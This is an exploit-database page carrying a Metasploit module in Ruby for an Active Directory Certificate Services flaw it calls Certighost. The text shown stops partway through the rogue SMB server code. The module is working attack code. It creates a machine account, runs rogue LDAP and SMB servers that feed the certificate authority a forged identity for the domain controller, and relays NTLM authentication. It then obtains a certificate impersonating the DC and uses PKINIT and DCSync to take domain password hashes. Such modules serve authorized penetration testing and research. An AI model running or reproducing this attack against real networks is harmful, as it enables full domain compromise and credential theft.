Exploit database

GH-9dd5be3e40b6de520183ab4d978e30c3

nafiez/metasploit-cve-2026-54121-certighost

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-54121

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
nafiez/metasploit-cve-2026-54121-certighostRevision 1b33f36b1924

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve_2026_54121_certighost.rb

Suggested starting fileRuby · 103,143 bytes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'ruby_smb'
require 'ruby_smb/dcerpc'
require 'ruby_smb/dcerpc/netlogon'
require 'ruby_smb/dcerpc/lsarpc'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::MsIcpr
  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client::Authenticated
  alias connect_smb_client connect
  include Msf::Exploit::Remote::MsSamr::Account
  include Msf::Exploit::Remote::Kerberos::Client
  include Msf::Exploit::Remote::LDAP
  include Msf::Auxiliary::Report

  SMB2_MAGIC = "\xFE\x53\x4D\x42".b
  SMB2_HDR_SIZE = 64

  DCSYNC_KEEP_SECTIONS = ['# NTLM hashes:', '# Password history'].freeze

  DCSYNC_DROP_LINES = [
    /Cannot find any active database/i,
    /Extracted data will only be displayed here/i,
    /No active DB/i,
    /Credential data will not be saved/i,
    /New in Metasploit 6\.\d+ - This module can target/i,
    /Error when reporting .*hash/i,
    /NoLMHash policy/i,
    /undefined method .?ArgumentError.? for class Metasploit::Credential::KrbEncKey/i,
    /Auxiliary failed: NoMethodError/i
  ].freeze

  NETR_SERVER_REQ_CHALLENGE      = 4
  NETR_SERVER_AUTHENTICATE3      = 26
  NETR_LOGON_GET_CAPABILITIES    = 21
  NETR_LOGON_SAM_LOGON_WITH_FLAGS = 45
  NETLOGON_VALIDATION_SAM_INFO4 = 6
  NETLOGON_NETWORK_TRANSITIVE_INFORMATION = 6
  NETLOGON_NEGOTIATE_FLAGS = 0x600FFFFF

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Certighost - AD CS Chase Exploitation (CVE-2026-54121)',
        'Description' => %q{
          Exploits a vulnerability in Active Directory Certificate Services (AD CS)
          known as Certighost (CVE-2026-54121). A low-privileged domain user can
          impersonate a Domain Controller by exploiting the chase fallback mechanism
          (cdc/rmd attributes) in the certificate enrollment process.

          The module creates a machine account, starts rogue LDAP and SMB/LSA servers,
          submits a crafted certificate request that causes the CA to chase back to
          the rogue services, receives a certificate impersonating the target DC,
          then authenticates via PKINIT and optionally performs DCSync.
        },
        'Author' => [
          'h0j3n',        # Discovery
          'aniqfakhrul',  # Original PoC
          'Nafiez'        # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-54121'],
          ['URL', 'https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26'],
          ['URL', 'https://github.com/aniqfakhrul/CVE-2026-54121']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        },
        'Actions' => [
          ['REQUEST_CERT', { 'Description' => 'Request a certificate impersonating the target DC' }],
          ['AUTHENTICATE', { 'Description' => 'Request certificate and perform PKINIT to get TGT + NT hash' }],
          ['FULL', { 'Description' => 'Full attack: certificate + PKINIT + DCSync' }]
        ],
        'DefaultAction' => 'FULL',
        'DefaultOptions' => {
          'SMB::ProtocolVersion' => '2,3'
        }
      )
    )

    register_options([
      OptString.new('DOMAIN', [true, 'Target domain FQDN (e.g., abc.local)']),
      OptString.new('USERNAME', [true, 'Low-privilege domain user']),
      OptString.new('PASSWORD', [false, 'User password (required unless NTLM_HASH is set)']),
      OptString.new('NTLM_HASH', [false, 'NT hash for USERNAME, for pass-the-hash. ' \
                                         'Accepts LM:NT, :NT or a bare NT hash', '']),
      OptAddress.new('DC_IP', [true, 'Domain Controller IP']),
      OptString.new('CA_NAME', [false, 'CA name (auto-discovered if empty)']),
      OptAddress.new('CA_IP', [false, 'CA IP (auto-discovered if empty)']),
      OptString.new('TARGET_DC', [false, 'Target DC sAMAccountName to impersonate (auto-discovered if empty)']),
      OptString.new('TEMPLATE', [true, 'Certificate template', 'Machine']),
      OptAddress.new('LISTENER', [false, 'Attacker IP for rogue services (auto-detected if empty)']),
      OptInt.new('TIMEOUT', [false, 'Seconds to wait for rogue servers to receive connections', 30]),
      OptInt.new('ROGUE_LDAP_PORT', [false, 'Port for rogue LDAP server (CA defaults to 389)', 389]),
      OptInt.new('ROGUE_SMB_PORT', [false, 'Port for rogue SMB/LSA server (CA defaults to 445)', 445]),
      OptString.new('OUTPUT_DIR', [false, 'Directory for the .pfx and .ccache files ' \
        '(defaults to the current working directory)', '']),
      OptBool.new('CLEANUP_ACCOUNT', [false, 'Delete the machine account when finished. Needs ' \
        'privileged credentials: the account\'s own creator has no DELETE right on it. With ' \
        'ACTION FULL the Administrator hash recovered by DCSync is used automatically', true]),
      OptString.new('CLEANUP_USER', [false, 'Account used to delete the machine account ' \
        '(defaults to the Administrator hash recovered by DCSync, else USERNAME)']),
      OptString.new('CLEANUP_PASS', [false, 'Password for CLEANUP_USER']),
      OptString.new('CLEANUP_HASH', [false, 'LM:NT or NT hash for CLEANUP_USER (pass-the-hash)']),
      OptBool.new('NTLM_VALIDATE', [false, 'Validate the CA\'s NTLM auth via the Netlogon oracle. ' \
        'Set false to blindly accept it (no SMB signing) - useful to test whether the CA chase ' \
        'reaches LSA/LDAP at all, but fails if the CA insists on signing', true]),
    ])

    deregister_options('CA', 'RHOSTS')

    register_options([
      OptAddress.new('RHOSTS', [false, 'Target host (auto-set from DC_IP)'])
    ])
  end

  def run
    @computer_name = nil
    @computer_password = nil
    @ldap_port = (datastore['ROGUE_LDAP_PORT'] || 389).to_i
    @smb_port = (datastore['ROGUE_SMB_PORT'] || 445).to_i
    @rogue_threads = []
    @results = {}

    datastore['RHOSTS'] = datastore['DC_IP']

    validate_options!

    print_status('Certighost (CVE-2026-54121)')
    print_effective_config

    step1_discover_infrastructure
    step2_create_machine_account
    step3_start_rogue_services
    step4_request_certificate
    step5_pkinit if ['AUTHENTICATE', 'FULL'].include?(action.name)
    step6_dcsync if action.name == 'FULL'
  rescue => e
    fail_with(Failure::Unknown, e.message)
  ensure
    cleanup_rogue_services
    cleanup_machine_account
  end

  private

  def print_effective_config
    return unless datastore['VERBOSE']

    vprint_status('Effective configuration:')
    {
      'USERNAME'  => datastore['USERNAME'],
      'AUTH'      => user_hash ? "NTLM_HASH #{user_hash[:nt]}" : 'PASSWORD',
      'ACTION'    => action.name,
      'CA_NAME'   => datastore['CA_NAME'].presence || '(auto-discover)',
      'TARGET_DC' => datastore['TARGET_DC'].presence || '(auto-discover)',
      'TEMPLATE'  => datastore['TEMPLATE'],
      'LISTENER'  => datastore['LISTENER'].presence || '(auto-detect)',
      'CLEANUP'   => datastore['CLEANUP_ACCOUNT'] ? 'on' : 'off'
    }.each { |k, v| vprint_status(format('  %-10s %s', k, v)) }
  end

  def validate_options!
    fail_with(Failure::BadConfig, 'USERNAME must be set') if datastore['USERNAME'].blank?
    h = user_hash
    if datastore['PASSWORD'].blank? && h.nil?
      fail_with(Failure::BadConfig, 'Either PASSWORD or NTLM_HASH must be set')
    end
    if h && !(h[:lm].match?(/\A[a-f0-9]{32}\z/) && h[:nt].match?(/\A[a-f0-9]{32}\z/))
      fail_with(Failure::BadConfig,
                'NTLM_HASH must be 32 hex chars (NT), or LM:NT as two 32-hex halves')
    end
    if datastore['DOMAIN'].blank? || !datastore['DOMAIN'].include?('.')
      fail_with(Failure::BadConfig, 'DOMAIN must be FQDN (e.g., abc.local)')
    end
    fail_with(Failure::BadConfig, 'DC_IP must be set') if datastore['DC_IP'].blank?
  end

  def domain_dn
    datastore['DOMAIN'].split('.').map { |dc| "dc=#{dc}" }.join(',')
  end

  def domain_short
    datastore['DOMAIN'].split('.').first.upcase
  end

  BLANK_LM = 'aad3b435b51404eeaad3b435b51404ee'.freeze

  def user_hash
    raw = datastore['NTLM_HASH'].to_s.strip
    return nil if raw.empty?

    lm, nt = raw.include?(':') ? raw.split(':', 2) : [nil, raw]
    lm = BLANK_LM if lm.nil? || lm.empty?
    { lm: lm.downcase, nt: nt.to_s.strip.downcase }
  end

  def user_password
    datastore['PASSWORD'] || ''
  end

  def user_smb_secret
    h = user_hash
    return "#{h[:lm]}:#{h[:nt]}" if h
    user_password
  end

  def step1_discover_infrastructure
    print_status('Step 1: Discovering infrastructure via LDAP...')

    configure_ldap_auth
    vprint_status("  LDAP auth: #{datastore['LDAP::Auth']} as " \
                  "#{datastore['DOMAIN']}\\#{datastore['USERNAME']}" \
                  "#{user_hash ? ' (pass-the-hash)' : ''}")

    ldap_connect(build_ldap_opts) do |ldap|
      validate_bind_success!(ldap) if respond_to?(:validate_bind_success!)

      discover_ca(ldap) if datastore['CA_NAME'].blank?
      @ca_name ||= datastore['CA_NAME']
      discover_ca_ip if datastore['CA_IP'].blank?
      discover_target_dc(ldap) if datastore['TARGET_DC'].blank?
      discover_domain_sid(ldap)
      discover_domain_guid(ldap)
    end

    @ca_name ||= datastore['CA_NAME']
    @ca_ip ||= datastore['CA_IP'] || datastore['DC_IP']
    @target_dc ||= datastore['TARGET_DC']
    @target_dc_dns ||= datastore['TARGET_DC']&.chomp('$')
    @target_dc_dns ||= @target_dc&.chomp('$')

    fail_with(Failure::NotFound, 'Could not discover target DC') if @target_dc.blank?

    print_good("  CA:      #{@ca_name} (#{@ca_ip})")
    print_good("  Target:  #{@target_dc}")
    print_good("  Domain SID: #{@domain_sid}")
  end

  def configure_ldap_auth
    datastore['LDAPUsername'] = datastore['USERNAME']
    datastore['LDAPDomain']   = datastore['DOMAIN']

    if (h = user_hash)
      datastore['LDAPPassword'] = "#{h[:lm]}:#{h[:nt]}"
      datastore['LDAP::Auth']   = 'ntlm'
    else
      datastore['LDAPPassword'] = user_password
      datastore['LDAP::Auth']   = 'auto'
    end

    datastore['RPORT'] = 389
    datastore['RHOST'] = datastore['DC_IP']
  end

  def build_ldap_opts
    { host: datastore['DC_IP'], port: 389, base: domain_dn }
  end

  def config_naming_context(ldap)
    ldap.search(base: '', scope: Net::LDAP::SearchScope_BaseObject,
                filter: '(objectClass=*)', ignore_server_caps: true,
                attributes: ['configurationNamingContext']) do |entry|
      value = entry[:configurationnamingcontext]&.first
      if value.present?
        vprint_status("    Configuration NC: #{value}")
        return value.to_s
      end
    end
    vprint_status('    RootDSE gave no configurationNamingContext - deriving it')
    "CN=Configuration,#{domain_dn}"
  rescue StandardError => e
    vprint_warning("    RootDSE query failed (#{e.message}) - deriving Configuration NC")
    "CN=Configuration,#{domain_dn}"
  end

  def ldap_search_error(ldap)
    res = ldap.get_operation_result
    return nil if res.nil? || res.code.to_i.zero?
    "#{res.code} #{res.message}#{res.error_message.present? ? " - #{res.error_message}" : ''}"
  rescue StandardError
    nil
  end

  def discover_ca(ldap)
    print_status('  Discovering CA...')

    config_dn = config_naming_context(ldap)
    filter = Net::LDAP::Filter.eq('objectClass', 'pKIEnrollmentService')
    attrs = ['cn', 'dNSHostName']

    base = "CN=Enrollment Services,CN=Public Key Services,CN=Services,#{config_dn}"
    entries = []
    ldap.search(base: base, filter: filter, attributes: attrs) { |entry| entries << entry }

    if entries.empty?
      if (err = ldap_search_error(ldap))
        vprint_warning("    Enrollment Services search: #{err}")
      end
      print_status('    Primary search empty, trying broader search...')
      ldap.search(base: config_dn, filter: filter, attributes: attrs) { |entry| entries << entry }
    end

    if entries.empty?
      err = ldap_search_error(ldap)
      print_error("    Configuration NC search: #{err}") if err
      fail_with(Failure::NotFound,
                "No pKIEnrollmentService found under #{config_dn}. If AD CS is installed, " \
                'set CA_NAME manually (e.g. domain-b-DC01-CA).')
    end

    @ca_name = entries.first[:cn]&.first
    @ca_dns = entries.first[:dnshostname]&.first
    print_good("    Found CA: #{@ca_name} (#{@ca_dns})")

    if entries.length > 1
      others = entries.drop(1).map { |e| e[:cn]&.first }.compact
      print_warning("    #{entries.length} CAs published; using the first. Others: #{others.join(', ')}")
      print_warning('    Set CA_NAME to pick a specific one.')
    end
  end

  def discover_ca_ip
    return if @ca_name.blank?
    if @ca_dns.present?
      begin
        dns = Resolv::DNS.new(nameserver: datastore['DC_IP'])
        @ca_ip = dns.getresource(@ca_dns, Resolv::DNS::Resource::IN::A).address.to_s
        return
      rescue => e
        vprint_warning("DNS resolution for CA DNS #{@ca_dns} failed: #{e.message}")
      end
    end
    begin
      dns = Resolv::DNS.new(nameserver: datastore['DC_IP'])
      fqdn = @ca_name.downcase + '.' + datastore['DOMAIN']
      @ca_ip = dns.getresource(fqdn, Resolv::DNS::Resource::IN::A).address.to_s
    rescue => e
      vprint_warning("DNS resolution for CA failed: #{e.message}, using DC_IP")
      @ca_ip = datastore['DC_IP']
    end
  end

  def discover_target_dc(ldap)
    print_status("  Discovering target DC...")
    filter = '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'

    entries = []
    ldap.search(base: domain_dn, filter: filter, attributes: ['sAMAccountName', 'dNSHostName', 'objectSid']) do |entry|
      entries << entry
    end

    if entries.any?
      @target_dc = entries.first[:samaccountname]&.first
      @target_dc_dns = entries.first[:dnshostname]&.first
      @target_dc_sid = entries.first[:objectsid]&.first
      print_good("    Target DC: #{@target_dc} (#{@target_dc_dns})")
    else
      print_error('    No DC found with SERVER_TRUST_ACCOUNT flag')
      if (err = ldap_search_error(ldap))
        print_error("    LDAP: #{err}")
      end
    end
  end

  def discover_domain_sid(ldap)
    entries = []
    ldap.search(base: domain_dn, filter: '(objectClass=*)', scope: Net::LDAP::SearchScope_BaseObject, attributes: ['objectSid']) do |entry|
      entries << entry
    end

    if entries.any? && entries.first[:objectsid]&.first
      @domain_sid = binary_sid_to_string(entries.first[:objectsid].first)
    end
  end

  def discover_domain_guid(ldap)
    entries = []
    ldap.search(base: domain_dn, filter: '(objectClass=*)', scope: Net::LDAP::SearchScope_BaseObject, attributes: ['objectGUID']) do |entry|
      entries << entry
    end

    if entries.any? && entries.first[:objectguid]&.first
      @domain_guid = entries.first[:objectguid].first
    else
      @domain_guid = "\x00" * 16
    end
  end

  def binary_sid_to_string(sid_bytes)
    return sid_bytes if sid_bytes.is_a?(String) && sid_bytes.start_with?('S-')
    raw = sid_bytes.is_a?(String) ? sid_bytes.b : sid_bytes.to_s.b
    return 'S-0-0' if raw.length < 8
    rev = raw[0].ord
    count = raw[1].ord
    auth = raw[2, 6].rjust(8, "\x00").unpack1('Q>')
    subs = []
    count.times do |i|
      offset = 8 + (i * 4)
      break if offset + 4 > raw.length
      subs << raw[offset, 4].unpack1('V')
    end
    "S-#{rev}-#{auth}-" + subs.join('-')
  end

  def step2_create_machine_account
    print_status("Step 2: Creating machine account via SAMR...")

    @computer_name = "GHOST#{Rex::Text.rand_text_alpha(8).upcase}$"
    @computer_password = "CG#{Rex::Text.rand_text_hex(10)}Aa1"

    tree = connect_smb_for_samr
    fail_with(Failure::Unreachable, 'Could not connect to DC via SMB for SAMR') if tree.nil?

    begin
      info = add_account(:computer, tree: tree, account_name: @computer_name, account_password: @computer_password)
      @computer_name = info.name
      @computer_password = info.password
      @computer_ntlm_hash = compute_ntlm_hash(@computer_password)
      @results[:account] = "#{datastore['DOMAIN']}\\#{@computer_name}"
      @results[:account_password] = @computer_password
      print_good("  Created: #{datastore['DOMAIN']}\\#{@computer_name}")
      vprint_good("  Password: #{@computer_password}")
    rescue => e
      fail_with(Failure::Unknown, "SAMR add_account failed: #{e.message}")
    ensure
      disconnect_smb(tree) rescue nil
    end
  end

  def connect_smb_for_samr(user: nil, pass: nil)
    datastore['RHOSTS'] = datastore['DC_IP']
    datastore['RHOST'] = datastore['DC_IP']
    datastore['RPORT'] = 445
    datastore['SMBUser'] = user || datastore['USERNAME']
    datastore['SMBPass'] = pass || user_smb_secret
    datastore['SMBDomain'] = datastore['DOMAIN']

    connect_smb_client
    smb_login
    report_service(host: datastore['DC_IP'], port: 445, name: 'smb', info: 'Certighost SAMR')
    simple.client.tree_connect("\\\\#{datastore['DC_IP']}\\IPC$")
  end

  def disconnect_smb(tree)
    tree.disconnect! if tree
    simple.client.disconnect! if simple && simple.client
  end

  def compute_ntlm_hash(password)
    OpenSSL::Digest::MD4.digest(password.encode('UTF-16LE')).unpack1('H*')
  end

  def step3_start_rogue_services
    print_status("Step 3: Starting rogue servers...")

    @listener_ip = datastore['LISTENER'] || detect_local_ip
    fail_with(Failure::BadConfig, 'Could not determine attacker IP. Set LISTENER option.') if @listener_ip.blank?

    print_status("  Listener IP: #{@listener_ip}")

    @rogue_ldap_thread = Thread.new { start_rogue_ldap_server }
    @rogue_threads << @rogue_ldap_thread

    @rogue_smb_thread = Thread.new { start_rogue_smb_server }
    @rogue_threads << @rogue_smb_thread

    sleep(2)

    retries = 0
    loop do
      ldap_ok = port_open?(@listener_ip, @ldap_port)
      smb_ok = port_open?(@listener_ip, @smb_port)
      break if ldap_ok && smb_ok
      retries += 1
      if retries > 10
        fail_with(Failure::Unknown, 'Rogue servers failed to start')
      end
      sleep(1)
    end

    print_good("  Rogue LDAP server: #{@listener_ip}:#{@ldap_port}")
    print_good("  Rogue SMB server:  #{@listener_ip}:#{@smb_port}")

    preflight_netlogon_oracle if datastore['NTLM_VALIDATE']
  end

  def preflight_netlogon_oracle
    print_status('  Pre-flighting Netlogon oracle...')
    nl_oracle_setup
    print_good('  Netlogon oracle ready')
  rescue => e
    report_dcerpc_fault(e, '  Netlogon oracle preflight FAILED')
    nl_oracle_reset
    fail_with(Failure::Unknown,
              'Netlogon secure channel could not be established, so the CA callback ' \
              'cannot be satisfied. Re-run with NTLM_VALIDATE=false to test the rest ' \
              'of the chase, or fix the oracle first.')
  end

  def detect_local_ip
    s = UDPSocket.new
    s.connect(datastore['DC_IP'], 80)
    ip = s.addr[3]
    s.close
    ip
  rescue
    nil
  end

  def port_open?(host, port)
    s = TCPSocket.new(host, port)
    s.close
    true
  rescue
    false
  end

  def start_rogue_ldap_server
    server = TCPServer.new('0.0.0.0', @ldap_port)
    server.listen(5)
    vprint_status("Rogue LDAP listening on port #{@ldap_port}")

    loop do
      begin
        client = server.accept
        Thread.new(client) { |c| handle_ldap_client(c) }
      rescue => e
        vprint_error("Rogue LDAP accept error: #{e.message}")
      end
    end
  rescue => e
    vprint_error("Rogue LDAP server error: #{e.message}")
  end

  def handle_ldap_client(conn)
    vprint_status("Rogue LDAP: connection received from #{conn.peeraddr rescue 'unknown'}")
    Thread.current[:cg_ldap_challenge] = nil
    Thread.current[:cg_ldap_seal] = nil
    buf = ''.b

    loop do
      data = conn.readpartial(8192)
      break if data.nil? || data.empty?
      buf << data

      if Thread.current[:cg_ldap_seal]
        while buf.bytesize >= 4
          flen = buf[0, 4].unpack1('N').to_i
          break if flen <= 0 || flen > 0x100000
          break if buf.bytesize < 4 + flen

          frame = buf[4, flen]
          buf = buf[(4 + flen)..] || ''.b
          plain = ldap_unseal_message(frame)
          vprint_status("Rogue LDAP: unsealed #{plain.bytesize}B from a #{flen}B frame")
          ldap_dispatch_messages(conn, plain)
        end
      else
        while buf.length >= 2
          if buf[0].ord != 0x30
            vprint_warning("Rogue LDAP: unexpected leading byte 0x#{buf[0].ord.to_s(16)} " \
                           '- discarding buffer')
            buf = ''.b
            break
          end

          msg_len, offset = ber_decode_length(buf, 1)
          total = offset + msg_len
          break if buf.length < total

          msg = buf[0...total]
          buf = buf[total..] || ''.b
          return unless ldap_dispatch_one(conn, msg)
        end
      end
    end

  rescue => e
    vprint_error("Rogue LDAP client error: #{e.class}: #{e.message}")
  ensure
    conn.close rescue nil
  end

  def ldap_dispatch_messages(conn, plain)
    off = 0
    while off + 2 <= plain.bytesize
      break unless plain[off].ord == 0x30
      len, hdr = ber_decode_length(plain, off + 1)
      total = (hdr - off) + len
      break if off + total > plain.bytesize
      ldap_dispatch_one(conn, plain[off, total])
      off += total
    end
  end

  def ldap_dispatch_one(conn, msg)
    mid, tag, payload = ber_parse_message(msg)
    vprint_good("Rogue LDAP: got message #{mid}, tag=0x#{tag.to_s(16)}")

    case tag
    when 0x60 # BindRequest
      vprint_status('Rogue LDAP: BindRequest received')
      handle_ldap_bind(conn, mid, payload)
    when 0x63 # SearchRequest
      vprint_status('Rogue LDAP: SearchRequest received')
      handle_ldap_search(conn, mid, payload)
    when 0x42 # UnbindRequest
      vprint_status('Rogue LDAP: UnbindRequest received')
      return false
    else
      vprint_warning("Rogue LDAP: unhandled message tag 0x#{tag.to_s(16)}")
    end
    true
  end

  def handle_ldap_bind(conn, mid, payload)
    offset = 0
    _version, offset = ber_read_integer(payload, offset)
    _name, offset = ber_read_string(payload, offset)
    return simple_ldap_bind_response(conn, mid) if offset >= payload.length

    auth_tag = payload[offset].ord

    if auth_tag == 0xa3
      handle_sasl_bind(conn, mid, payload, offset)
    else
      simple_ldap_bind_response(conn, mid)
    end
  rescue => e
    vprint_error("Rogue LDAP bind error: #{e.message}")
  end

  def simple_ldap_bind_response(conn, mid)
    conn.write(build_ldap_bind_response(mid, 0, '', '', nil))
    vprint_good("Rogue LDAP: BindResponse sent (success)")
  end

  def handle_sasl_bind(conn, mid, payload, offset)
    offset += 1
    _mech_len, offset = ber_decode_length(payload, offset)

    mech_oid_len, offset = ber_decode_length(payload, offset + 1)
    mech_oid = payload[offset, mech_oid_len]
    offset += mech_oid_len

    creds = ''.b
    if offset < payload.length && payload[offset].ord == 0x04
      creds_len, offset = ber_decode_length(payload, offset + 1)
      creds = payload[offset, creds_len] || ''.b
    end

    if creds.start_with?("NTLMSSP\x00".b) && creds.length >= 12
      ntlm_msg_type = creds[8, 4].unpack1('V')
      vprint_status("Rogue LDAP: SASL/NTLM message type #{ntlm_msg_type}")

      if ntlm_msg_type == 1
        challenge = build_ntlm_challenge
        conn.write(build_ldap_bind_response(mid, 14, '', '', challenge))
        vprint_good("Rogue LDAP: BindResponse sent (NTLM challenge)")
      elsif ntlm_msg_type == 3
        user_name = ntlm_field(creds, 40, 36)
        domain_name = ntlm_field(creds, 32, 28)
        nt_resp = ntlm_field(creds, 24, 20)
        lm_resp = ntlm_field(creds, 16, 12)
        vprint_good("Rogue LDAP: NTLM type 3 for #{nl_to_utf8(domain_name)}\\#{nl_to_utf8(user_name)}")
        challenge = Thread.current[:cg_ldap_challenge] || @ldap_challenge || ("\x00".b * 8)
        vprint_status("Rogue LDAP: validating challenge=#{challenge.unpack1('H*')} " \
                      "nt=#{nt_resp.to_s.bytesize}B lm=#{lm_resp.to_s.bytesize}B")
        sk = netlogon_relay(domain_name, user_name, lm_resp, nt_resp, challenge)
        if sk
          enc_len = creds[52, 2].unpack1('v').to_i
          enc_off = creds[56, 4].unpack1('V').to_i
          enc_key = (creds[enc_off, enc_len] rescue nil)
          session_key = enc_key && enc_key.bytesize == 16 ? nl_rc4_encrypt(sk, enc_key) : sk

          conn.write(build_ldap_bind_response(mid, 0, '', '', nil))
          vprint_good('Rogue LDAP: BindResponse (NTLM auth success)')

          flags = creds[60, 4].unpack1('V').to_i
          if (flags & 0x00000020).zero? && (flags & 0x00000010).zero?
            vprint_status('Rogue LDAP: client negotiated neither SEAL nor SIGN - staying plaintext')
          else
            ldap_arm_sealing(session_key)
          end
        else
          conn.write(build_ldap_bind_response(mid, 49, '', '', nil))
          print_warning('Rogue LDAP: BindResponse (NTLM auth failed)')
        end
      else
        conn.write(build_ldap_bind_response(mid, 49, '', '', nil))
        vprint_warning("Rogue LDAP: BindResponse rejected (unknown NTLM type #{ntlm_msg_type})")
      end
    else
      conn.write(build_ldap_bind_response(mid, 14, '', '', nil))
      vprint_good("Rogue LDAP: BindResponse sent (authMethodNotSupported)")
    end
  rescue => e
    vprint_error("Rogue LDAP SASL bind error: #{e.message}")
  end

  def build_ntlm_challenge
    c = ::OpenSSL::Random.random_bytes(8)
    Thread.current[:cg_ldap_challenge] = c
    @ldap_challenge = c
    vprint_status("Rogue LDAP: server challenge #{c.unpack1('H*')}")
    build_ntlm_challenge_for_spnego(c)
  end

  def build_ldap_bind_response(mid, result_code, matched_dn, error_msg, credentials = nil)
    seq = ''.b
    seq << [0x0a].pack('C') << ber_encode_length(1) << [result_code].pack('C')
    seq << [0x04].pack('C') << ber_encode_length(matched_dn.bytesize) << matched_dn
    seq << [0x04].pack('C') << ber_encode_length(error_msg.bytesize) << error_msg
    if credentials
      seq << [0x87].pack('C') << ber_encode_length(credentials.bytesize) << credentials
    end
    ber_build_message(mid, 0x61, seq)
  end

  def handle_ldap_search(conn, mid, payload)
    offset = 0
    base_dn, offset = ber_read_string(payload, offset)
    scope, offset = ber_read_integer(payload, offset)
    deref, offset = ber_read_integer(payload, offset)
    sizelimit, offset = ber_read_integer(payload, offset)
    timelimit, offset = ber_read_integer(payload, offset)
    typesonly, offset = ber_read_boolean(payload, offset)

    filter_hex = ''
    if offset < payload.length
      ftag_at = offset
      offset += 1
      flen, offset = ber_decode_length(payload, offset)
      filter_hex = payload[ftag_at, flen + (offset - ftag_at)].to_s.unpack1('H*')
      offset += flen
    end

    wanted = []
    if offset < payload.length && payload[offset].ord == 0x30
      offset += 1
      alen, offset = ber_decode_length(payload, offset)
      aend = offset + alen
      while offset < aend && offset < payload.length
        name, offset = ber_read_string(payload, offset)
        break if name.nil?
        wanted << name
      end
    end

    vprint_status("Rogue LDAP: SearchRequest base=#{base_dn.inspect} scope=#{scope} " \
                  "attrs=#{wanted.inspect}")
    vprint_status("Rogue LDAP: filter #{filter_hex}")

    if base_dn.to_s.empty?
      send_rootdse_response(conn, mid, wanted)
    else
      send_dc_principal_response(conn, mid, base_dn, wanted)
    end
  end

  def send_rootdse_response(conn, mid, _wanted = nil)
    dn = domain_dn
    host = @computer_name.to_s.chomp('$')
    config_dn = "CN=Configuration,#{dn}"

    entries = {
      '' => {
        'defaultNamingContext' => [dn],
        'rootDomainNamingContext' => [dn],
        'configurationNamingContext' => [config_dn],
        'schemaNamingContext' => ["CN=Schema,#{config_dn}"],
        'namingContexts' => [dn, config_dn, "CN=Schema,#{config_dn}"],
        'dnsHostName' => ["#{host}.#{datastore['DOMAIN']}"],
        'ldapServiceName' => ["#{datastore['DOMAIN']}:#{host.downcase}$@#{datastore['DOMAIN'].upcase}"],
        'supportedSASLMechanisms' => %w[GSSAPI GSS-SPNEGO EXTERNAL DIGEST-MD5],
        'supportedLDAPVersion' => %w[3 2],
        'supportedCapabilities' => %w[
          1.2.840.113556.1.4.800
          1.2.840.113556.1.4.1670
          1.2.840.113556.1.4.1791
          1.2.840.113556.1.4.1935
        ],
        'domainFunctionality' => ['7'],
        'forestFunctionality' => ['7'],
        'domainControllerFunctionality' => ['7']
      }
    }

    send_ldap_search_entries(conn, mid, entries)
  end

  def sid_string_to_binary(sid_str)
    parts = sid_str.to_s.split('-')
    return nil unless parts[0].to_s.downcase == 's' && parts.length >= 3
    rev  = parts[1].to_i
    auth = parts[2].to_i
    subs = parts[3..].to_a.map(&:to_i)
    [rev, subs.length].pack('CC') + [auth].pack('Q>')[2, 6] + subs.pack('V*')
  rescue StandardError
    nil
  end

  def send_dc_principal_response(conn, mid, base_dn, wanted = nil)
    dn = domain_dn
    target_cn = @target_dc.chomp('$')
    target_dns = @target_dc_dns || "#{target_cn}.#{datastore['DOMAIN']}"

    sid_bin =
      if @target_dc_sid.is_a?(String) && !@target_dc_sid.start_with?('S-')
        @target_dc_sid.b
      elsif @target_dc_sid.to_s.start_with?('S-')
        sid_string_to_binary(@target_dc_sid)
      elsif @domain_sid
        sid_string_to_binary("#{@domain_sid}-1000")
      end

    unless sid_bin
      print_warning('Rogue LDAP: no objectSid available for the target DC - the CA ' \
                    'will not be able to build the certificate identity')
    end

    vprint_status("Rogue LDAP: returning DC principal #{@target_dc} (#{target_dns}) " \
                  "sid=#{sid_bin ? sid_bin.unpack1('H*') : 'none'}")

    entries = {
      "CN=#{target_cn},CN=Computers,#{dn}" => {
        'objectClass' => %w[top person organizationalPerson user computer],
        'cn' => [target_cn],
        'sAMAccountName' => [@target_dc],
        'objectSid' => [sid_bin].compact,
        'objectGUID' => ["\x00".b * 16],
        'userAccountControl' => ['66048'],
        'objectCategory' => ["CN=Computer,CN=Schema,CN=Configuration,#{dn}"],
        'dNSHostName' => [target_dns],
        'servicePrincipalName' => ["HOST/#{target_dns}", "HOST/#{target_cn}"]
      }
    }

    send_ldap_search_entries(conn, mid, entries)
  end

  def send_ldap_search_entries(conn, mid, entries)
    entries.each do |entry_dn, attrs|
      seq = ''.b
      attrs.each do |key, values|
        vals = values.is_a?(Array) ? values : [values]
        val_seq = ''.b
        vals.each { |v| val_seq << ber_encode_string(v.to_s) }
        seq << ber_encode_sequence([ber_encode_string(key), ber_encode_set([val_seq])])
      end

      entry = ''.b
      entry << ber_encode_string(entry_dn)
      entry << ber_encode_sequence([seq])

      msg = ber_build_message(mid, 0x64, entry)
      ldap_send(conn, msg)
      vprint_status("Rogue LDAP: entry #{entry_dn.inspect}, #{attrs.length} attribute(s), #{msg.bytesize}B")
      vprint_status("Rogue LDAP: entry hex #{msg.unpack1('H*')}")
    end

    done_msg = ber_build_message(mid, 0x65, ber_encode_search_result_done(0))
    ldap_send(conn, done_msg)
    vprint_status("Rogue LDAP: SearchResultDone #{done_msg.unpack1('H*')}")
    vprint_good("Rogue LDAP: SearchResponse sent (#{entries.length} entries)")
  end

  def start_rogue_smb_server
    server = TCPServer.new('0.0.0.0', @smb_port)
    server.listen(5)
    vprint_status("Rogue SMB listening on port #{@smb_port}")

    loop do
      begin
        client = server.accept
        Thread.new(client) { |c| handle_smb_client(c) }
      rescue => e
